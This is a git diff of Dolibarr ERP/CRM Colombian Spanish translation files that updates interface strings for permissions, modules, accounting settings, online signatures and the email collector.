      Si desea un valor predeterminado solo si la URL tiene algún parámetro, puede usar %s AlsoDefaultValuesAreEffectiveForActionCreate=También tenga en cuenta que sobrescribir los valores predeterminados para la creación de formularios solo funciona para las páginas que se diseñaron correctamente (por lo tanto, con el parámetro action=create o presend...) EnableDefaultValues=Habilitar la personalización de los valores predeterminados -EnableOverwriteTranslation=Habilitar el uso de traducción sobrescrita GoIntoTranslationMenuToChangeThis=Se ha encontrado una traducción para la clave con este código. Para cambiar este valor, debe editarlo desde Home-Setup-translation. WarningSettingSortOrder=Advertencia: establecer un orden de clasificación predeterminado puede generar un error técnico al acceder a la página de la lista si el campo es un campo desconocido. Si experimenta tal error, vuelva a esta página para eliminar el orden de clasificación predeterminado y restaurar el comportamiento predeterminado. ProductDocumentTemplates=Plantillas de documentos para generar documentos de productos. @@ -484,9 +485,7 @@ Module2300Desc=Gestión de trabajos programados (alias cron o tabla crono) Module2400Name=Eventos / Agenda Module2400Desc=Seguimiento de eventos. Registre eventos automáticos con fines de seguimiento o registre eventos o reuniones manuales. Este es el módulo principal para una buena gestión de relaciones con clientes o proveedores. Module2500Desc=Sistema de gestión documental / Gestión de contenidos electrónicos. Organización automática de sus documentos generados o almacenados. Compártelos cuando los necesites. -Module2600Name=API / servicios web (servidor SOAP) Module2600Desc=Habilitar el servidor Dolibarr SOAP que proporciona servicios API. -Module2610Name=API / servicios web (servidor REST) Module2610Desc=Habilitar el servidor REST de Dolibarr que proporciona servicios API. Module2660Name=Call WebServices (cliente SOAP) Module2660Desc=Habilite el cliente de servicios web Dolibarr (se puede usar para enviar datos / solicitudes a servidores externos. Actualmente, solo se admiten pedidos de compra). @@ -516,7 +515,6 @@ Module59000Desc=Módulo para seguir márgenes Module60000Desc=Módulo para gestionar comisiones. Module62000Desc=Añadir características para gestionar Incoterms. Module63000Desc=Gestionar recursos (impresoras, coches, salas, ...) para destinarlos a eventos -Permission11=Lea las facturas de los clientes. Permission12=Crear / modificar facturas de clientes. Permission13=Invalidar facturas de clientes Permission14=Validar facturas de clientes. @@ -532,6 +530,7 @@ Permission27=Eliminar propuestas comerciales Permission28=Exportar propuestas comerciales. Permission31=Leer productos Permission32=Crear / modificar productos. +Permission33=Leer precios productos Permission36=Ver / administrar productos ocultos Permission45=Proyectos de exportación Permission61=Leer intervenciones @@ -635,7 +634,7 @@ Permission282=Crear / modificar contactos Permission291=Leer tarifas Permission292=Establecer permisos sobre las tarifas. Permission293=Modificar las tarifas del cliente -Permission301=Crear / modificar códigos de barras +Permission301=Generar hojas PDF de códigos de barras Permission311=Servicios de lectura Permission312=Asignar servicio / suscripción al contrato Permission331=Leer marcadores @@ -662,6 +661,7 @@ Permission525=Calculadora de préstamos de acceso Permission527=Préstamos de exportación Permission531=Servicios de lectura Permission532=Crear / modificar servicios. +Permission533=Leer precios servicios Permission536=Ver / administrar servicios ocultos Permission538=Servicios de exportación Permission562=Crear / modificar orden de pago mediante transferencia bancaria @@ -709,7 +709,6 @@ Permission1189=Marcar / desmarcar la recepción de una orden de compra Permission1190=Aprobar (segunda aprobación) órdenes de compra Permission1191=Exportar órdenes de proveedores y sus atributos Permission1202=Crear / Modificar una exportación -Permission1231=Leer facturas de proveedores Permission1232=Crear / modificar facturas de proveedores Permission1233=Validar facturas de proveedores Permission1234=Eliminar facturas de proveedores @@ -733,7 +732,6 @@ Permission2503=Presentar o borrar documentos Permission2515=Configurar directorios de documentos Permission2801=Usar el cliente FTP en modo de lectura (solo navegar y descargar) Permission2802=Usar el cliente FTP en modo de escritura (eliminar o cargar archivos) -Permission4021=Crea/modifica tu evaluación Permission10001=Leer el contenido del sitio web Permission10002=Crear / modificar el contenido del sitio web (contenido html y javascript) Permission10003=Crear / modificar el contenido del sitio web (código php dinámico). Peligroso, debe reservarse para desarrolladores restringidos. @@ -804,6 +802,7 @@ DictionaryOpportunityStatus=Principal estado para proyecto / Iniciativa DictionaryExpenseTaxRange=Informe de gastos - Gama por categoría de transporte DictionaryTransportMode=Informe intracomm - modo de transporte DictionaryBatchStatus=Estado del control de calidad del lote / serie del producto +DictionaryAssetDisposalType=Tipo de enajenación de activos BackToModuleList=Volver a la lista de módulos BackToDictionaryList=Volver a la lista de diccionarios TypeOfRevenueStamp=Tipo de timbre fiscal @@ -902,7 +901,6 @@ SetupDescription3= %s -> %s

      Parámetros básicos uti SetupDescription4= %s -> %s

      Este software es un conjunto de muchos módulos/aplicaciones. Los módulos relacionados con sus necesidades deben estar habilitados y configurados. Las entradas del menú aparecerán con la activación de estos módulos. SetupDescription5=Otras entradas del menú de configuración administran parámetros opcionales. SetupDescriptionLink= %s - %s -SetupDescription4b=Este software es un conjunto de muchos módulos / aplicaciones. Los módulos relacionados con sus necesidades deben estar habilitados y configurados. Las entradas del menú aparecerán con la activación de estos módulos. InfoBrowser=Navegador InfoOS=Sistema operativo InfoWebServer=Servidor web @@ -960,6 +958,7 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=Debe ejecutar este comando desd YourPHPDoesNotHaveSSLSupport=Funciones SSL no disponibles en tu PHP DownloadMoreSkins=Más skins para descargar SimpleNumRefModelDesc=Devuelve el número de referencia en el formato %syymm-nnnn donde yy es el año, mm es el mes y nnnn es un número secuencial que se incrementa automáticamente sin reinicio. +AdvancedNumRefModelDesc=Devuelve el número de referencia en el formato %syymm-nnnn donde yy es el año, mm es el mes y nnnn es un número secuencial que se incrementa automáticamente sin reinicio. ShowProfIdInAddress=Mostrar identificación profesional con direcciones ShowVATIntaInAddress=Ocultar el número de IVA intracomunitario MAIN_DISABLE_METEO=Desactivar el pulgar meteorológico @@ -1031,7 +1030,6 @@ AskForPreferredShippingMethod=Pregunte por el método de envío preferido para t FillThisOnlyIfRequired=Ejemplo: +2 (rellenar solo si se experimentan problemas de compensación de zona horaria) NumberingModules=Modelos de numeración DocumentModules=Modelos de documentos -PasswordGenerationStandard=Devuelve una contraseña generada de acuerdo con el algoritmo interno de Dolibarr: %s caracteres que contienen números compartidos y caracteres en minúsculas. PasswordGenerationNone=No sugiera una contraseña generada. La contraseña debe escribirse manualmente. PasswordGenerationPerso=Devuelva una contraseña de acuerdo con su configuración definida personalmente. SetupPerso=Según su configuración @@ -1307,8 +1305,6 @@ ActivateFCKeditor=Activar editor avanzado para: FCKeditorForNotePublic=Creación / edición WYSIWIG del campo "notas públicas" de elementos FCKeditorForNotePrivate=Creación / edición WYSIWIG del campo "notas privadas" de elementos FCKeditorForCompany=Creación / edición WYSIWIG de la descripción de campo de elementos (excepto productos / servicios) -FCKeditorForProduct=Creación / edición WYSIWIG de la descripción de campo de productos / servicios -FCKeditorForProductDetails=WYSIWIG creación / edición de líneas de detalle de productos para todas las entidades (propuestas, pedidos, facturas, etc ...). Advertencia: El uso de esta opción para este caso no se recomienda seriamente, ya que puede crear problemas con caracteres especiales y formato de página al crear archivos PDF. FCKeditorForMailing=Creación / edición WYSIWIG para eMailings masivos (Herramientas-> eMailing) FCKeditorForUserSignature=Creación / edición WYSIWIG de la firma del usuario. FCKeditorForMail=Creación / edición WYSIWIG para todo el correo (excepto Herramientas-> eMailing) @@ -1324,7 +1320,6 @@ DetailMenuHandler=Manejador de menú donde mostrar nuevo menú. DetailMenuModule=Nombre del módulo si la entrada del menú proviene de un módulo DetailType=Tipo de menú (arriba o izquierda) DetailTitre=Etiqueta de menú o código de etiqueta para traducción -DetailUrl=URL a la que le envió el menú (enlace de URL absoluta o enlace externo con http: //) DetailEnabled=Condición para mostrar o no la entrada. DetailRight=Condición para mostrar menús grises no autorizados DetailLangs=Lang nombre de archivo para la traducción del código de la etiqueta @@ -1383,7 +1378,6 @@ StockDecreaseForPointOfSaleDisabledbyBatch=La disminución de stock en POS no es CashDeskYouDidNotDisableStockDecease=No desactivó la disminución de existencias al realizar una venta desde el punto de venta. Por lo tanto se requiere un almacén. CashDeskForceDecreaseStockLabel=Se obligó a reducir las existencias de productos por lotes. CashDeskForceDecreaseStockDesc=Disminuya primero por las fechas más antiguas de Eatby y Sellby. -CashDeskReaderKeyCodeForEnter=Código clave para "Enter" definido en el lector de códigos de barras (Ejemplo: 13) BookmarkSetup=Configuración del módulo de marcador BookmarkDesc=Este módulo le permite administrar los marcadores. También puede agregar accesos directos a cualquier página de Dolibarr o sitios web externos en su menú de la izquierda. NbOfBoomarkToShow=Número máximo de marcadores para mostrar en el menú de la izquierda @@ -1408,7 +1402,6 @@ SuppliersCommandModelMuscadet=Plantilla completa de orden de compra (implementac SuppliersInvoiceModel=Plantilla completa de factura de proveedor SuppliersInvoiceNumberingModel=Modelos de numeración de facturas de proveedores IfSetToYesDontForgetPermission=Si se establece en un valor no nulo, no olvide proporcionar permisos a los grupos o usuarios autorizados para la segunda aprobación -PathToGeoIPMaxmindCountryDataFile=Ruta al archivo que contiene la traducción de IP de Maxmind al país.
      Ejemplos:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb NoteOnPathLocation=Tenga en cuenta que su archivo de datos de IP a país debe estar dentro de un directorio que su PHP pueda leer (Verifique su configuración de PHP open_basedir y los permisos del sistema de archivos). YouCanDownloadFreeDatFileTo=Puede descargar una versión demo gratuita del archivo de país de Maxmind GeoIP en %s. YouCanDownloadAdvancedDatFileTo=También puede descargar una versión más completa de , con actualizaciones, del archivo de país de Maxmind GeoIP en %s. @@ -1473,6 +1466,7 @@ NbAddedAutomatically=Número de días agregados a los contadores de usuarios (au Enter0or1=Ingrese 0 o 1 UnicodeCurrency=Ingrese aquí entre llaves, lista de bytes que representan el símbolo de moneda. Por ejemplo: para $, ingrese [36] - para brasil R $ [82,36] - para €, ingrese [8364] ColorFormat=El color RGB está en formato HEX, por ejemplo: FF0000 +PictoHelp=Nombre del ícono en formato:
      - image.png para un archivo de imagen en el directorio del tema actual
      - image.png@module si el archivo está en el directorio /img/ de un módulo
      - fa-xxx para un pictograma FontAwesome fa-xxx
      - fonwtawesome_xxx_fa_color_size para un pictograma FontAwesome fa-xxx (con prefijo, color y tamaño establecidos) PositionIntoComboList=Posición de la línea en las listas de combo SellTaxRate=Tasa de impuesto sobre las ventas RecuperableOnly=Sí, para el IVA "No percibido pero recuperable" dedicado a algún estado de Francia. Mantenga el valor en "No" en todos los demás casos. @@ -1545,6 +1539,7 @@ EnterCalculationRuleIfPreviousFieldIsYes=Ingrese la regla de cálculo si el camp RemoveSpecialChars=Quitar caracteres especiales COMPANY_AQUARIUM_CLEAN_REGEX=Filtro de expresiones regulares para limpiar el valor (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=No se permite duplicar +RemoveSpecialWordsHelp=Especifique las palabras que se limpiarán antes de calcular la cuenta del cliente o proveedor. Usar una ";" entre cada palabra GDPRContact=Oficial de protección de datos (DPO, privacidad de datos o contacto GDPR) HelpOnTooltip=Texto de ayuda para mostrar en información sobre herramientas HelpOnTooltipDesc=Coloque texto o una clave de traducción aquí para que el texto se muestre en una información sobre herramientas cuando este campo aparezca en un formulario @@ -1557,11 +1552,13 @@ EmailCollector=Recolector de correo electronico EmailCollectorDescription=Agregue un trabajo programado y una página de configuración para escanear regularmente los buzones de correo electrónico (usando el protocolo IMAP) y registre los correos electrónicos recibidos en su aplicación, en el lugar correcto y / o cree algunos registros automáticamente (como clientes potenciales). NewEmailCollector=Nuevo recolector de email EMailHost=Host de correo electrónico del servidor IMAP +EMailHostPort=Puerto de servidor IMAP de correo electrónico EmailcollectorOperations=Operaciones a realizar por coleccionista. EmailcollectorOperationsDesc=Las operaciones se ejecutan de arriba a abajo. MaxEmailCollectPerCollect=Número máximo de correos electrónicos recolectados por recolección DateLastcollectResultOk=Fecha del último éxito de recolección EmailCollectorConfirmCollectTitle=Correo electrónico recoger confirmación +EmailCollectorExampleToCollectTicketRequestsDesc=Recopile correos electrónicos que coincidan con algunas reglas y cree automáticamente un ticket (el módulo Ticket debe estar habilitado) con la información del correo electrónico. Puede usar este recopilador si brinda algún tipo de soporte por correo electrónico, por lo que su solicitud de boleto se generará automáticamente. Active también Collect_Responses para recopilar respuestas de su cliente directamente en la vista de ticket (debe responder desde Dolibarr). NoNewEmailToProcess=No hay correo electrónico nuevo (filtros coincidentes) para procesar CreateLeadAndThirdParty=Cree un cliente potencial (y un tercero si es necesario) CodeLastResult=Último código de resultado @@ -1573,7 +1570,7 @@ WithDolTrackingID=Mensaje de una conversación iniciada por un primer correo ele WithoutDolTrackingID=Mensaje de una conversación iniciada por un primer correo electrónico NO enviado desde Dolibarr MainMenuCode=Código de entrada de menú (menú principal) ECMAutoTree=Mostrar árbol ECM automático -OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. +OperationParamDesc=Defina las reglas que se utilizarán para extraer algunos datos o establecer los valores que se utilizarán para la operación.

      Ejemplo para extraer el nombre de una empresa del asunto del correo electrónico en una variable temporal:
      tmp_var=EXTRACT:SUBJECT:Mensaje de la empresa ([^\n]*)45

      Ejemplos para establecer las propiedades de un objeto para crear:
      objproperty1=SET: un valor codificado de forma rígida
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY valor: la propiedad no está definida solo si ya está definida
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY: el nombre de mi empresa es\\s([^\\s]*)

      Utilice un ; char como separador para extraer o establecer varias propiedades. OpeningHours=Horario de oficina OpeningHoursDesc=Introduzca aquí el horario habitual de trabajo/servicio de su empresa. ResourceSetup=Configuración del módulo de recursos @@ -1637,7 +1634,6 @@ MailToPartnership=Camaradería YouShouldDisablePHPFunctions=Debería deshabilitar las funciones de PHP NoWritableFilesFoundIntoRootDir=No se encontraron archivos o directorios grabables de los programas comunes en su directorio raíz (Perfect!) Recommended=Recomendado -ARestrictedPath=Algún camino restringido DatabasePasswordNotObfuscated=La contraseña de la base de datos NO está ofuscada en el archivo conf YouShouldSetThisToOff=Debes configurar esto en 0 o apagarlo InstallAndUpgradeLockedBy=La instalación y las actualizaciones están bloqueadas por el archivo %s @@ -1660,3 +1656,15 @@ LanguageAndPresentation=Lenguaje y presentación SkinAndColors=Piel y colores PDF_USE_1A=Generar PDF con formato PDF / A-1b PreviousHash=Hachís anterior +InventorySetup=Configuración de inventario +Settings =Ajustes +DEBUGBAR_USE_LOG_FILE=Use el archivo dolibarr.log para capturar registros +FixedOrPercent=Fijo (use la palabra clave 'fijo') o porcentaje (use la palabra clave 'porcentaje') +CIDLookupURL=El módulo trae una URL que puede ser utilizada por una herramienta externa para obtener el nombre de un tercero o contacto a partir de su número de teléfono. URL a utilizar es: +UsePassword=usa una contraseña +UseOauth=Usar un token OAUTH +ScriptIsEmpty=el guion esta vacio +ShowHideTheNRequests=Mostrar/ocultar las %s solicitudes SQL +DefinedAPathForAntivirusCommandIntoSetup=Defina una ruta para un programa antivirus en %s +TriggerCodeInfo=Ingrese aquí el/los código(s) de activación que deben generar una publicación de una solicitud web (solo se permiten URL externas). Puede introducir varios códigos de activación separados por una coma. +DesktopsAndSmartphones=Computadoras de escritorio y teléfonos inteligentes diff --git a/htdocs/langs/es_CO/agenda.lang b/htdocs/langs/es_CO/agenda.lang index 0bc7437e8c4..3c79770f84a 100644 --- a/htdocs/langs/es_CO/agenda.lang +++ b/htdocs/langs/es_CO/agenda.lang @@ -81,8 +81,10 @@ ExtSiteUrlAgenda=URL para acceder al archivo .ical VisibleTimeRange=Intervalo de tiempo visible ConfirmCloneEvent=¿Está seguro de que desea clonar el evento %s ? OnceOnly=Por una sola vez +EveryDay=Diario DayOfMonth=Dia del mes DateStartPlusOne=Fecha de inicio + 1 hora SetAllEventsToTodo=Establecer todos los eventos como por hacer SetAllEventsToInProgress=Establecer todos los eventos en curso SetAllEventsToFinished=Establecer todos los eventos como finalizados +ActiveByDefault=Habilitado por defecto diff --git a/htdocs/langs/es_CO/assets.lang b/htdocs/langs/es_CO/assets.lang index c802f427db2..018f66968a7 100644 --- a/htdocs/langs/es_CO/assets.lang +++ b/htdocs/langs/es_CO/assets.lang @@ -1,5 +1,10 @@ # Dolibarr language file - Source file is en_US - assets -ConfirmDeleteAssetType=¿Está seguro de que desea eliminar este tipo de activo? -ShowTypeCard=Mostrar tipo '%s' -AssetsTypeId=ID del tipo de activo -AssetsTypeLabel=Etiqueta de tipo de activo +AssetType=tipo de activo +DeleteAnAssetType=Eliminar un modelo de activo +ConfirmDeleteAssetType=¿Está seguro de que desea eliminar este modelo de activo? +ShowTypeCard=Mostrar modelo '%s' +AssetsType=modelo de activos +AssetsTypeId=ID de modelo de activo +AssetsTypeLabel=Etiqueta de modelo de activos +AssetsTypes=Modelos de activos +ConfirmDeleteAsset=¿Realmente desea eliminar este elemento? diff --git a/htdocs/langs/es_CO/banks.lang b/htdocs/langs/es_CO/banks.lang index 904ba2e9fa3..0ec00a247e1 100644 --- a/htdocs/langs/es_CO/banks.lang +++ b/htdocs/langs/es_CO/banks.lang @@ -126,7 +126,9 @@ ConfirmCloneVariousPayment=Confirmar el duplicado de un pago misceláneo YourSEPAMandate=Tu mandato SEPA FindYourSEPAMandate=Este es su mandato SEPA para autorizar a nuestra empresa a realizar una orden de domiciliación bancaria a su banco. Devuélvalo firmado (escaneado del documento firmado) o envíelo por correo a AutoReportLastAccountStatement=Llene automáticamente el campo 'número de extracto bancario' con el último número de extracto al realizar la conciliación +CashControl=control de efectivo en punto de venta BankColorizeMovementDesc=Si esta función está habilitada, puede elegir un color de fondo específico para los movimientos de débito o crédito BankColorizeMovementName2=Color de fondo para movimiento crediticio IfYouDontReconcileDisableProperty=Si no realiza las conciliaciones bancarias en algunas cuentas bancarias, desactive la propiedad "%s" para eliminar esta advertencia. NoRecordFoundIBankcAccount=No se encontró ningún registro en la cuenta bancaria. Por lo general, esto ocurre cuando un registro se ha eliminado manualmente de la lista de transacciones en la cuenta bancaria (por ejemplo, durante una conciliación de la cuenta bancaria). Otra razón es que el pago se registró cuando se deshabilitó el módulo "%s". +SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformationHelp=Al generar un archivo XML SEPA para transferencias de crédito, la sección "Información de tipo de pago" ahora se puede colocar dentro de la sección "Información de transacción de transferencia de crédito" (en lugar de la sección "Pago"). Recomendamos enfáticamente dejar esto sin marcar para colocar la información de tipo de pago en el nivel de pago, ya que no todos los bancos la aceptarán necesariamente en el nivel de información de transacción de transferencia de crédito. Comuníquese con su banco antes de colocar PaymentTypeInformation en el nivel CreditTransferTransactionInformation. diff --git a/htdocs/langs/es_CO/bills.lang b/htdocs/langs/es_CO/bills.lang index b9af989bbb7..f9faf79a93e 100644 --- a/htdocs/langs/es_CO/bills.lang +++ b/htdocs/langs/es_CO/bills.lang @@ -63,6 +63,7 @@ PaymentsReportsForYear=Informes de pagos para %s PaymentsAlreadyDone=Pagos ya hechos PaymentsBackAlreadyDone=Reembolsos ya relizados PaymentRule=Regla de pago +PaymentMode=Método de pago PaymentTerm=Plazo de pago PaymentConditions=Términos de pago PaymentConditionsShort=Términos de pago @@ -121,6 +122,7 @@ ErrorCantCancelIfReplacementInvoiceNotValidated=Error, no se puede cancelar una ErrorThisPartOrAnotherIsAlreadyUsedSoDiscountSerieCantBeRemoved=Esta parte u otra ya está en uso, por lo que no se pueden eliminar las series de descuento. BillFrom=De BillTo=A +ShippingTo=embarcar hacia ActionsOnBill=Acciones en factura RecurringInvoiceTemplate=Plantilla / factura recurrente NoQualifiedRecurringInvoiceTemplateFound=Ninguna factura de plantilla recurrente calificada para generación. diff --git a/htdocs/langs/es_CO/cashdesk.lang b/htdocs/langs/es_CO/cashdesk.lang index eecf4ebaf08..c75cfc88461 100644 --- a/htdocs/langs/es_CO/cashdesk.lang +++ b/htdocs/langs/es_CO/cashdesk.lang @@ -33,6 +33,7 @@ Header=Encabezamiento Footer=Pie de página TheoricalAmount=Cantidad teórica RealAmount=Cantidad real +CashFence=cierre de caja NbOfInvoices=Nb de facturas Paymentnumpad=Tipo de Pad para ingresar el pago Numberspad=Pad de números diff --git a/htdocs/langs/es_CO/categories.lang b/htdocs/langs/es_CO/categories.lang index 7dfd12ed8fc..23bbe40cd9b 100644 --- a/htdocs/langs/es_CO/categories.lang +++ b/htdocs/langs/es_CO/categories.lang @@ -79,6 +79,8 @@ CatUsersLinks=Vínculos entre usuarios y etiquetas / categorías ExtraFieldsCategories=Atributos complementarios CategoriesSetup=Configuración de etiquetas / categorías CategorieRecursiv=Vincular con etiqueta / categoría principal automáticamente +CategorieRecursivHelp=Si la opción está activada, cuando agrega un objeto a una subcategoría, el objeto también se agregará a las categorías principales. AddProductServiceIntoCategory=Agregue el siguiente producto / servicio ShowCategory=Mostrar etiqueta / categoría ChooseCategory=Elegir la categoría +TicketsCategoriesArea=Categorías de entradas diff --git a/htdocs/langs/es_CO/commercial.lang b/htdocs/langs/es_CO/commercial.lang index a682aab5fd4..24d83ed3dff 100644 --- a/htdocs/langs/es_CO/commercial.lang +++ b/htdocs/langs/es_CO/commercial.lang @@ -49,9 +49,20 @@ ActionAC_OTH_AUTO=Otro auto ActionAC_MANUAL=Eventos insertados manualmente ActionAC_AUTO=Eventos insertados automáticamente ActionAC_OTH_AUTOShort=Otro +ActionAC_EVENTORGANIZATION=Eventos de organización de eventos Stats=Estadísticas de ventas StatusProsp=Estado cliente potencial DraftPropals=Borrador de propuestas comerciales ToOfferALinkForOnlineSignature=Enlace para firma en línea +WelcomeOnOnlineSignaturePageProposal=Bienvenidos a la pagina para aceptar propuestas comerciales de %s +WelcomeOnOnlineSignaturePageContract=Bienvenido a la página de firma del PDF del contrato %s +WelcomeOnOnlineSignaturePageFichinter=Bienvenido a la página de firma de PDF de intervención %s +ThisScreenAllowsYouToSignDocFromProposal=Esta pantalla le permite aceptar y firmar, o rechazar, una cotización/propuesta comercial +ThisScreenAllowsYouToSignDocFromContract=Esta pantalla le permite firmar contratos en formato PDF en línea. +ThisScreenAllowsYouToSignDocFromFichinter=Esta pantalla le permite firmar la intervención en formato PDF en línea. +ThisIsInformationOnDocumentToSignProposal=Esta es información sobre el documento para aceptar o rechazar +ThisIsInformationOnDocumentToSignContract=Esta es la información sobre el contrato a firmar. +ThisIsInformationOnDocumentToSignFichinter=Esta es la información sobre la intervención para firmar SignatureProposalRef=Firma de cotización / propuesta comercial %s +SignatureFichinterRef=Firma de intervención %s FeatureOnlineSignDisabled=Característica para la firma en línea deshabilitada o documento generado antes de que se habilitara la característica diff --git a/htdocs/langs/es_CO/companies.lang b/htdocs/langs/es_CO/companies.lang index 15f3dfcdfd7..934d21de7ec 100644 --- a/htdocs/langs/es_CO/companies.lang +++ b/htdocs/langs/es_CO/companies.lang @@ -17,9 +17,11 @@ ParentCompany=Sede principal Subsidiaries=Sucursales RegisteredOffice=Domicilio principal State=Departamento +StateId=ID del Departamento StateCode=Siglas del Departamento StateShort=Departamento Region-State=Región +CountryId=ID del país PhonePro=Autobús. teléfono PhonePerso=Teléf. personal No_Email=Rechazar correos electrónicos masivos @@ -42,6 +44,7 @@ ProfId2AT=Id prof. 2 (USt.-Nr) ProfId3AT=Id prof. 3 (Handelsregister-Nr.) ProfId1CM=Prueba de ID 1 (Registro de Comercio) ProfId2CM=Prueba de ID 2 (Nº de Contribuyente) +ProfId3CM=Identificación. profe. 3 (No. de decreto de creación) ProfId2ShortCM=Contribuyente No. ProfId2CO=Identificación (CC, NIT, CE) ProfId3CO=CIIU @@ -54,12 +57,11 @@ VATIntra=RUT VATIntraShort=RUT VATReturn=Devolución de IVA SupplierRelativeDiscount=Descuento relativo del proveedor -HasRelativeDiscountFromSupplier=Tiene un descuento predeterminado de %s%% de este proveedor -HasNoRelativeDiscountFromSupplier=No tiene ningún descuento relativo predeterminado de este proveedor +HasRelativeDiscountFromSupplier=You have a default discount of %s%% with this vendor +HasNoRelativeDiscountFromSupplier=No default relative discount with this vendor CompanyHasAbsoluteDiscount=Este cliente tiene descuentos disponibles (notas de crédito o anticipos) para %s %s CompanyHasDownPaymentOrCommercialDiscount=Este cliente tiene descuentos disponibles (comerciales, anticipos) para %s %s CompanyHasCreditNote=Este cliente tiene %s %s anticipos disponibles -HasNoAbsoluteDiscountFromSupplier=No tiene crédito de descuento disponible de este proveedor HasAbsoluteDiscountFromSupplier=Tiene descuentos disponibles (notas de crédito o anticipos) para %s %s de este proveedor HasDownPaymentOrCommercialDiscountFromSupplier=Tiene descuentos disponibles (comerciales, anticipos) para %s %s de este proveedor HasCreditNoteFromSupplier=Tiene notas de crédito para %s %s de este proveedor @@ -98,7 +100,7 @@ ImportDataset_company_1=Terceros y sus propiedades ImportDataset_company_2=Contactos/direcciones y atributos adicionales de terceros ImportDataset_company_4=Representantes de ventas de terceros (asignar representantes de ventas / usuarios a las empresas) PriceLevelLabels=Etiquetas de nivel de precio -ConfirmDeleteFile=¿Está seguro que quiere eliminar este archivo? +ConfirmDeleteFile=¿Está seguro de que desea eliminar este archivo %s? AllocateCommercial=Asignado al representante de ventas FiscalYearInformation=Año fiscal SocialNetworksYoutubeURL=URL de Youtube @@ -126,3 +128,5 @@ PaymentTypeBoth=Tipo de pago - Cliente y proveedor MulticurrencyUsed=Usar multidivisa MulticurrencyCurrency=Moneda CurrentOutstandingBillLate=Factura por pagar: Atrasada +EmailAlreadyExistsPleaseRewriteYourCompanyName=el E-mail ya existe, vuelva a escribir el nombre de su empresa +TwoRecordsOfCompanyName=more than one record exists for this company, please contact us to complete your partnership request diff --git a/htdocs/langs/es_CO/compta.lang b/htdocs/langs/es_CO/compta.lang index 546913e832c..8370e813fbc 100644 --- a/htdocs/langs/es_CO/compta.lang +++ b/htdocs/langs/es_CO/compta.lang @@ -23,6 +23,7 @@ Profit=Lucro Balance=Equilibrar Debit=Débito Credit=Crédito +AccountingDebit=Débito Piece=Doc. Contable AmountHTVATRealReceived=Neto recogido AmountHTVATRealPaid=Neto pagado @@ -117,7 +118,9 @@ NbOfCheques=No. de cheques PaySocialContribution=Pagar un impuesto social / fiscal ConfirmPaySocialContribution=¿Seguro que quiere clasificar este impuesto fiscal como pagado? DeleteSocialContribution=Eliminar un pago fiscal social o fiscal. +DeleteVariousPayment=Eliminar un pago diferente ConfirmDeleteSocialContribution=¿Está seguro de que desea eliminar este pago de impuestos fiscales? +ConfirmDeleteVariousPayment=¿Está seguro de que desea eliminar este pago diferente? ExportDataset_tax_1=Impuestos y pagos sociales y fiscales. CalcModeVATDebt=Modo %sVAT en contabilidad de compromiso%s . CalcModeVATEngagement=Modo %sVAT en ingresos-expenses%s . @@ -196,12 +199,12 @@ CalculationRuleDescSupplier=Según el proveedor, elija el método apropiado para TurnoverPerProductInCommitmentAccountingNotRelevant=El informe del volumen de negocios recogido por producto no está disponible. Este informe solo está disponible para facturación facturada. TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=El informe del volumen de negocios recaudado por tasa de impuesto de venta no está disponible. Este informe solo está disponible para facturación facturada. AccountancyJournal=Diario de código contable -ACCOUNTING_VAT_SOLD_ACCOUNT=Cuenta de contabilidad por defecto para el IVA en las ventas (utilizado si no está definido en la configuración del diccionario del IVA) -ACCOUNTING_VAT_BUY_ACCOUNT=Cuenta de contabilidad por defecto para el IVA en las compras (utilizado si no está definido en la configuración del diccionario de IVA) -ACCOUNTING_VAT_PAY_ACCOUNT=Cuenta contable por defecto para el pago del IVA. -ACCOUNTING_ACCOUNT_CUSTOMER=Cuenta contable utilizada para terceros clientes. +ACCOUNTING_VAT_SOLD_ACCOUNT=Cuenta (del plan de cuentas) que se usará como cuenta predeterminada para el IVA sobre las ventas (se usa si no está definida en la configuración del diccionario de IVA) +ACCOUNTING_VAT_BUY_ACCOUNT=Cuenta (del plan de cuentas) que se usará como la cuenta predeterminada para el IVA en las compras (se usa si no está definida en la configuración del diccionario de IVA) +ACCOUNTING_VAT_PAY_ACCOUNT=Cuenta (del plan de cuentas) que se utilizará como cuenta predeterminada para pagar el IVA +ACCOUNTING_ACCOUNT_CUSTOMER=Cuenta (del plan de cuentas) utilizada para terceros "clientes" ACCOUNTING_ACCOUNT_CUSTOMER_Desc=La cuenta contable dedicada definida en la tarjeta de terceros se utilizará solo para la contabilidad de Libro mayor auxiliar. Este se usará para el Libro mayor general y como valor predeterminado de la contabilidad del Libro mayor auxiliar si no se define una cuenta de cuenta del cliente dedicada a un tercero. -ACCOUNTING_ACCOUNT_SUPPLIER=Cuenta contable utilizada para terceros proveedores. +ACCOUNTING_ACCOUNT_SUPPLIER=Cuenta (del plan de cuentas) utilizada para los terceros "proveedores" ACCOUNTING_ACCOUNT_SUPPLIER_Desc=La cuenta de contabilidad dedicada definida en la tarjeta de un tercero se usará solo para la contabilidad del Libro auxiliar. Este se usará para el Libro mayor y como valor predeterminado de la contabilidad del libro auxiliar si no se define la cuenta de contabilidad del proveedor dedicada en un tercero. ConfirmCloneTax=Confirmar el clon de un impuesto social / fiscal. ConfirmCloneVAT=Confirmar el duplicado de una declaración de IVA @@ -229,6 +232,7 @@ PurchaseTurnoverCollected=Volumen de compras recogido RulesPurchaseTurnoverDue=- Incluye las facturas vencidas del proveedor, ya sean pagadas o no.
      - Se basa en la fecha de facturación de estas facturas.
